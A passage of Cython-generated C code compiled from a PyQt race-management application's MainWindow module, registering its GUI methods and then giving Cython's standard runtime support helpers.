<<<<<<<<<<<<<< * super(MainWindow, self).__init__(parent) * self.setupUi(self) */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_7__init__, 0, __pyx_n_s_MainWindow___init, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__32)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_CyFunction_SetDefaultsTuple(__pyx_t_4, __pyx_tuple__33); if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_init, __pyx_t_4) < 0) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":49 * self.setupUi(self) * * def connectActions(self): # <<<<<<<<<<<<<< * self.actionQuitter.triggered.connect( QtWidgets.qApp.quit ) * self.L_racerlist.itemDoubleClicked.connect( self.editRacer) */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_9connectActions, 0, __pyx_n_s_MainWindow_connectActions, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__35)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_connectActions, __pyx_t_4) < 0) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":62 * self.B_Define.currentIndexChanged.connect( manageRace.requestDefine ) * * def startRace(self): # <<<<<<<<<<<<<< * if self.__ActualRace == None: * print("Starting Race") */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_11startRace, 0, __pyx_n_s_MainWindow_startRace, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__37)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_startRace, __pyx_t_4) < 0) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":70 * print("Race allready running") * * def setRacerTb(self, item): # <<<<<<<<<<<<<< * row = self.TM_T_passage.currentRow() * dlg = Set_RacerTp() */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_13setRacerTb, 0, __pyx_n_s_MainWindow_setRacerTb, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__39)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_setRacerTb, __pyx_t_4) < 0) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":82 * tpRacerList[ Globals.C_concurrents_TP_fmt%tp]=dlg.r_item.data(Globals.UserRole) * * def addRacer(self): # <<<<<<<<<<<<<< * item = QtWidgets.QListWidgetItem() * item.setText( "Nouveau" ) */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_15addRacer, 0, __pyx_n_s_MainWindow_addRacer, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__41)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_addRacer, __pyx_t_4) < 0) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":96 * Globals.racerList[ Globals.C_concurrents_ID_fmt%( len(Globals.racerList)+10001 )] = c * * def findNpa(self): # <<<<<<<<<<<<<< * try: * fn = self.R_Npa.text() */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_17findNpa, 0, __pyx_n_s_MainWindow_findNpa, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__43)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_findNpa, __pyx_t_4) < 0) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":108 * return * * def findVille(self): # <<<<<<<<<<<<<< * try: * fn = self.R_City.text() */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_19findVille, 0, __pyx_n_s_MainWindow_findVille, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__45)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_findVille, __pyx_t_4) < 0) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":124 * return * * def findNumRacer(self): # <<<<<<<<<<<<<< * try: * fn = int( self.findNumber.text() ) */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_21findNumRacer, 0, __pyx_n_s_MainWindow_findNumRacer, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__47)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_findNumRacer, __pyx_t_4) < 0) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":134 * self.editRacer( item[0] ) * * def editRacer(self, item): # <<<<<<<<<<<<<< * id = item.data(Globals.UserRole) * print (id) */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_23editRacer, 0, __pyx_n_s_MainWindow_editRacer, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__49)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_editRacer, __pyx_t_4) < 0) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":197 * self.findNpa() * * def initGuiPays(self): # <<<<<<<<<<<<<< * self.pays = T_Pays() * self.R_Pays.clear() */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_25initGuiPays, 0, __pyx_n_s_MainWindow_initGuiPays, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__51)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_initGuiPays, __pyx_t_4) < 0) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":206 * i += 1 * * def initGuiMarques(self): # <<<<<<<<<<<<<< * self.marques = T_Marques() * self.R_brandMenu.clear() */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_27initGuiMarques, 0, __pyx_n_s_MainWindow_initGuiMarques, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__53)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_initGuiMarques, __pyx_t_4) < 0) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":213 * self.R_brandMenu.addItem(c['nom'], c['id']) * * def initListConcurrents(self): # <<<<<<<<<<<<<< * self.L_racerlist.setSortingEnabled(True) * self.concurrents = T_Concurrents() */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_29initListConcurrents, 0, __pyx_n_s_MainWindow_initListConcurrents, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__55)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 213, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_initListConcurrents, __pyx_t_4) < 0) __PYX_ERR(0, 213, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":221 * Globals.racerList[ Globals.C_concurrents_ID_fmt%( c['id'] )] = c * * def initGuiConcurrents(self): # <<<<<<<<<<<<<< * for id in Globals.racerList: * i = Globals.racerList[id] */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_31initGuiConcurrents, 0, __pyx_n_s_MainWindow_initGuiConcurrents, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__57)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 221, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_initGuiConcurrents, __pyx_t_4) < 0) __PYX_ERR(0, 221, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":232 * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), title) * * def initGui(self): # <<<<<<<<<<<<<< * self.t_ville = T_Ville() * self.initGuiPays() */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_33initGui, 0, __pyx_n_s_MainWindow_initGui, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__59)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_initGui, __pyx_t_4) < 0) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":239 * self.initGuiConcurrents() * * def updateMonitor(self): # <<<<<<<<<<<<<< * def setLine(self, color, row, column, text): * try: */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_35updateMonitor, 0, __pyx_n_s_MainWindow_updateMonitor, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__61)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_updateMonitor, __pyx_t_4) < 0) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":327 * print( e ) * * def main(self): # <<<<<<<<<<<<<< * self.connectActions() * self.initGui() */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_37main, 0, __pyx_n_s_MainWindow_main, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__63)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 327, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_main, __pyx_t_4) < 0) __PYX_ERR(0, 327, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":32 * * * class MainWindow(QtWidgets.QMainWindow, Ui_MainWindow): # <<<<<<<<<<<<<< * __RacerEdited = None * __ActualRace = None */ __pyx_t_4 = __Pyx_Py3ClassCreate(__pyx_t_1, __pyx_n_s_MainWindow, __pyx_t_5, __pyx_t_6, NULL, 0, 0); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyDict_SetItem(__pyx_d, __pyx_n_s_MainWindow, __pyx_t_4) < 0) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "MainWindow.py":1 * #!/usr/bin/python # <<<<<<<<<<<<<< * ###################################################################################### * # (c) <NAME>, <EMAIL>, mars 2018 # */ __pyx_t_5 = PyDict_New(); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_5) < 0) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /*--- Wrapped vars code ---*/ goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); if (__pyx_m) { if (__pyx_d) { __Pyx_AddTraceback("init MainWindow", __pyx_clineno, __pyx_lineno, __pyx_filename); } Py_DECREF(__pyx_m); __pyx_m = 0; } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_ImportError, "init MainWindow"); } __pyx_L0:; __Pyx_RefNannyFinishContext(); #if PY_MAJOR_VERSION < 3 return; #else return __pyx_m; #endif } /* --- Runtime support code --- */ /* Refnanny */ #if CYTHON_REFNANNY static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { PyObject *m = NULL, *p = NULL; void *r = NULL; m = PyImport_ImportModule((char *)modname); if (!m) goto end; p = PyObject_GetAttrString(m, (char *)"RefNannyAPI"); if (!p) goto end; r = PyLong_AsVoidPtr(p); end: Py_XDECREF(p); Py_XDECREF(m); return (__Pyx_RefNannyAPIStruct *)r; } #endif /* GetBuiltinName */ static PyObject *__Pyx_GetBuiltinName(PyObject *name) { PyObject* result = __Pyx_PyObject_GetAttrStr(__pyx_b, name); if (unlikely(!result)) { PyErr_Format(PyExc_NameError, #if PY_MAJOR_VERSION >= 3 "name '%U' is not defined", name); #else "name '%.200s' is not defined", PyString_AS_STRING(name)); #endif } return result; } /* RaiseArgTupleInvalid */ static void __Pyx_RaiseArgtupleInvalid( const char* func_name, int exact, Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found) { Py_ssize_t num_expected; const char *more_or_less; if (num_found < num_min) { num_expected = num_min; more_or_less = "at least"; } else { num_expected = num_max; more_or_less = "at most"; } if (exact) { more_or_less = "exactly"; } PyErr_Format(PyExc_TypeError, "%.200s() takes %.8s %" CYTHON_FORMAT_SSIZE_T "d positional argument%.1s (%" CYTHON_FORMAT_SSIZE_T "d given)", func_name, more_or_less, num_expected, (num_expected == 1) ? "" : "s", num_found); } /* RaiseDoubleKeywords */ static void __Pyx_RaiseDoubleKeywordsError( const char* func_name, PyObject* kw_name) { PyErr_Format(PyExc_TypeError, #if PY_MAJOR_VERSION >= 3 "%s() got multiple values for keyword argument '%U'", func_name, kw_name); #else "%s() got multiple values for keyword argument '%s'", func_name, PyString_AsString(kw_name)); #endif } /* ParseKeywords */ static int __Pyx_ParseOptionalKeywords( PyObject *kwds, PyObject **argnames[], PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, const char* function_name) { PyObject *key = 0, *value = 0; Py_ssize_t pos = 0; PyObject*** name; PyObject*** first_kw_arg = argnames + num_pos_args; while (PyDict_Next(kwds, &pos, &key, &value)) { name = first_kw_arg; while (*name && (**name != key)) name++; if (*name) { values[name-argnames] = value; continue; } name = first_kw_arg; #if PY_MAJOR_VERSION < 3 if (likely(PyString_CheckExact(key)) || likely(PyString_Check(key))) { while (*name) { if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) && _PyString_Eq(**name, key)) { values[name-argnames] = value; break; } name++; } if (*name) continue; else { PyObject*** argname = argnames; while (argname != first_kw_arg) { if ((**argname == key) || ( (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) && _PyString_Eq(**argname, key))) { goto arg_passed_twice; } argname++; } } } else #endif if (likely(PyUnicode_Check(key))) { while (*name) { int cmp = (**name == key) ? 0 : #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 (PyUnicode_GET_SIZE(**name) != PyUnicode_GET_SIZE(key)) ? 1 : #endif PyUnicode_Compare(**name, key); if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; if (cmp == 0) { values[name-argnames] = value; break; } name++; } if (*name) continue; else { PyObject*** argname = argnames; while (argname != first_kw_arg) { int cmp = (**argname == key) ? 0 : #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 (PyUnicode_GET_SIZE(**argname) != PyUnicode_GET_SIZE(key)) ? 1 : #endif PyUnicode_Compare(**argname, key); if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; if (cmp == 0) goto arg_passed_twice; argname++; } } } else goto invalid_keyword_type; if (kwds2) { if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; } else { goto invalid_keyword; } } return 0; arg_passed_twice: __Pyx_RaiseDoubleKeywordsError(function_name, key); goto bad; invalid_keyword_type: PyErr_Format(PyExc_TypeError, "%.200s() keywords must be strings", function_name); goto bad; invalid_keyword: PyErr_Format(PyExc_TypeError, #if PY_MAJOR_VERSION < 3 "%.200s() got an unexpected keyword argument '%.200s'", function_name, PyString_AsString(key)); #else "%s() got an unexpected keyword argument '%U'", function_name, key); #endif bad: return -1; } /* GetModuleGlobalName */ static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name) { PyObject *result; #if !CYTHON_AVOID_BORROWED_REFS result = PyDict_GetItem(__pyx_d, name); if (likely(result)) { Py_INCREF(result); } else { #else result = PyObject_GetItem(__pyx_d, name); if (!result) { PyErr_Clear(); #endif result = __Pyx_GetBuiltinName(name); } return result; } /* PyObjectCall */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { PyObject *result; ternaryfunc call = func->ob_type->tp_call; if (unlikely(!call)) return PyObject_Call(func, arg, kw); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = (*call)(func, arg, kw); Py_LeaveRecursiveCall(); if (unlikely(!result) && unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* PyCFunctionFastCall */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject * __Pyx_PyCFunction_FastCall(PyObject *func_obj, PyObject **args, Py_ssize_t nargs) { PyCFunctionObject *func = (PyCFunctionObject*)func_obj; PyCFunction meth = PyCFunction_GET_FUNCTION(func); PyObject *self = PyCFunction_GET_SELF(func); assert(PyCFunction_Check(func)); assert(METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST))); assert(nargs >= 0); assert(nargs == 0 || args != NULL); /* _PyCFunction_FastCallDict() must not be called with an exception set, because it may clear it (directly or indirectly) and so the caller loses its exception */ assert(!PyErr_Occurred()); return (*((__Pyx_PyCFunctionFast)meth)) (self, args, nargs, NULL); } #endif // CYTHON_FAST_PYCCALL /* PyFunctionFastCall */ #if CYTHON_FAST_PYCALL #include "frameobject.h" static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, PyObject *globals) { PyFrameObject *f; PyThreadState *tstate = PyThreadState_GET(); PyObject **fastlocals; Py_ssize_t i; PyObject *result; assert(globals != NULL); /* XXX Perhaps we should create a specialized PyFrame_New() that doesn't take locals, but does take builtins without sanity checking them. */ assert(tstate != NULL); f = PyFrame_New(tstate, co, globals, NULL); if (f == NULL) { return NULL; } fastlocals = f->f_localsplus; for (i = 0; i < na; i++) { Py_INCREF(*args); fastlocals[i] = *args++; } result = PyEval_EvalFrameEx(f,0); ++tstate->recursion_depth; Py_DECREF(f); --tstate->recursion_depth; return result; } #if 1 || PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs) { PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); PyObject *globals = PyFunction_GET_GLOBALS(func); PyObject *argdefs = PyFunction_GET_DEFAULTS(func); PyObject *closure; #if PY_MAJOR_VERSION >= 3 PyObject *kwdefs; #endif PyObject *kwtuple, **k; PyObject **d; Py_ssize_t nd; Py_ssize_t nk; PyObject *result; assert(kwargs == NULL || PyDict_Check(kwargs)); nk = kwargs ? PyDict_Size(kwargs) : 0; if (Py_EnterRecursiveCall((char*)" while calling a Python object")) { return NULL; } if ( #if PY_MAJOR_VERSION >= 3 co->co_kwonlyargcount == 0 && #endif likely(kwargs == NULL || nk == 0) && co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { if (argdefs == NULL && co->co_argcount == nargs) { result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); goto done; } else if (nargs == 0 && argdefs != NULL && co->co_argcount == Py_SIZE(argdefs)) { /* function called with no arguments, but all parameters have a default value: use default values as arguments .*/ args = &PyTuple_GET_ITEM(argdefs, 0); result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); goto done; } } if (kwargs != NULL) { Py_ssize_t pos, i; kwtuple = PyTuple_New(2 * nk); if (kwtuple == NULL) { result = NULL; goto done; } k = &PyTuple_GET_ITEM(kwtuple, 0); pos = i = 0; while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { Py_INCREF(k[i]); Py_INCREF(k[i+1]); i += 2; } nk = i / 2; } else { kwtuple = NULL; k = NULL; } closure = PyFunction_GET_CLOSURE(func); #if PY_MAJOR_VERSION >= 3 kwdefs = PyFunction_GET_KW_DEFAULTS(func); #endif if (argdefs != NULL) { d = &PyTuple_GET_ITEM(argdefs, 0); nd = Py_SIZE(argdefs); } else { d = NULL; nd = 0; } #if PY_MAJOR_VERSION >= 3 result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, args, nargs, k, (int)nk, d, (int)nd, kwdefs, closure); #else result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, args, nargs, k, (int)nk, d, (int)nd, closure); #endif Py_XDECREF(kwtuple); done: Py_LeaveRecursiveCall(); return result; } #endif // CPython < 3.6 #endif // CYTHON_FAST_PYCALL /* PyObjectCallMethO */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { PyObject *self, *result; PyCFunction cfunc; cfunc = PyCFunction_GET_FUNCTION(func); self = PyCFunction_GET_SELF(func); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = cfunc(self, arg); Py_LeaveRecursiveCall(); if (unlikely(!result) && unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* PyObjectCallOneArg */ #if CYTHON_COMPILING_IN_CPYTHON static PyObject* __Pyx__PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_New(1); if (unlikely(!args)) return NULL; Py_INCREF(arg); PyTuple_SET_ITEM(args, 0, arg); result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, &arg, 1); } #endif #ifdef __Pyx_CyFunction_USED if (likely(PyCFunction_Check(func) || PyObject_TypeCheck(func, __pyx_CyFunctionType))) { #else if (likely(PyCFunction_Check(func))) { #endif if (likely(PyCFunction_GET_FLAGS(func) & METH_O)) { return __Pyx_PyObject_CallMethO(func, arg); #if CYTHON_FAST_PYCCALL } else if (PyCFunction_GET_FLAGS(func) & METH_FASTCALL) { return __Pyx_PyCFunction_FastCall(func, &arg, 1); #endif } } return __Pyx__PyObject_CallOneArg(func, arg); } #else static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_Pack(1, arg); if (unlikely(!args)) return NULL; result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } #endif /* PyObjectCallNoArg */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, NULL, 0); } #endif #ifdef __Pyx_CyFunction_USED if (likely(PyCFunction_Check(func) || PyObject_TypeCheck(func, __pyx_CyFunctionType))) { #else if (likely(PyCFunction_Check(func))) { #endif if (likely(PyCFunction_GET_FLAGS(func) & METH_NOARGS)) { return __Pyx_PyObject_CallMethO(func, NULL); } } return __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL); } #endif /* SaveResetException */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { *type = tstate->exc_type; *value = tstate->exc_value; *tb = tstate->exc_traceback; Py_XINCREF(*type); Py_XINCREF(*value); Py_XINCREF(*tb); } static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; tmp_type = tstate->exc_type; tmp_value = tstate->exc_value; tmp_tb = tstate->exc_traceback; tstate->exc_type = type; tstate->exc_value = value; tstate->exc_traceback = tb; Py_XDECREF(tmp_type); Py_XDECREF(tmp_value); Py_XDECREF(tmp_tb); } #endif /* PyErrExceptionMatches */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err) { PyObject *exc_type = tstate->curexc_type; if (exc_type == err) return 1; if (unlikely(!exc_type)) return 0; return PyErr_GivenExceptionMatches(exc_type, err); } #endif /* GetException */ #if CYTHON_FAST_THREAD_STATE static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { #else static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) { #endif PyObject *local_type, *local_value, *local_tb; #if CYTHON_FAST_THREAD_STATE PyObject *tmp_type, *tmp_value, *tmp_tb; local_type = tstate->curexc_type; local_value = tstate->curexc_value; local_tb = tstate->curexc_traceback; tstate->curexc_type = 0; tstate->curexc_value = 0; tstate->curexc_traceback = 0; #else PyErr_Fetch(&local_type, &local_value, &local_tb); #endif PyErr_NormalizeException(&local_type, &local_value, &local_tb); #if CYTHON_FAST_THREAD_STATE if (unlikely(tstate->curexc_type)) #else if (unlikely(PyErr_Occurred())) #endif goto bad; #if PY_MAJOR_VERSION >= 3 if (local_tb) { if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) goto bad; } #endif Py_XINCREF(local_tb); Py_XINCREF(local_type); Py_XINCREF(local_value); *type = local_type; *value = local_value; *tb = local_tb; #if CYTHON_FAST_THREAD_STATE tmp_type = tstate->exc_type; tmp_value = tstate->exc_value; tmp_tb = tstate->exc_traceback; tstate->exc_type = local_type; tstate->exc_value = local_value; tstate->exc_traceback = local_tb; Py_XDECREF(tmp_type); Py_XDECREF(tmp_value); Py_XDECREF(tmp_tb); #else PyErr_SetExcInfo(local_type, local_value, local_tb); #endif return 0; bad: *type = 0; *value = 0; *tb = 0; Py_XDECREF(local_type); Py_XDECREF(local_value); Py_XDECREF(local_tb); return -1; } /* PyErrFetchRestore */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; tmp_type = tstate->curexc_type; tmp_value = tstate->curexc_value; tmp_tb = tstate->curexc_traceback; tstate->curexc_type = type; tstate->curexc_value = value; tstate->curexc_traceback = tb; Py_XDECREF(tmp_type); Py_XDECREF(tmp_value); Py_XDECREF(tmp_tb); } static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { *type = tstate->curexc_type; *value = tstate->curexc_value; *tb = tstate->curexc_traceback; tstate->curexc_type = 0; tstate->curexc_value = 0; tstate->curexc_traceback = 0; } #endif /* SwapException */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { PyObject *tmp_type, *tmp_value, 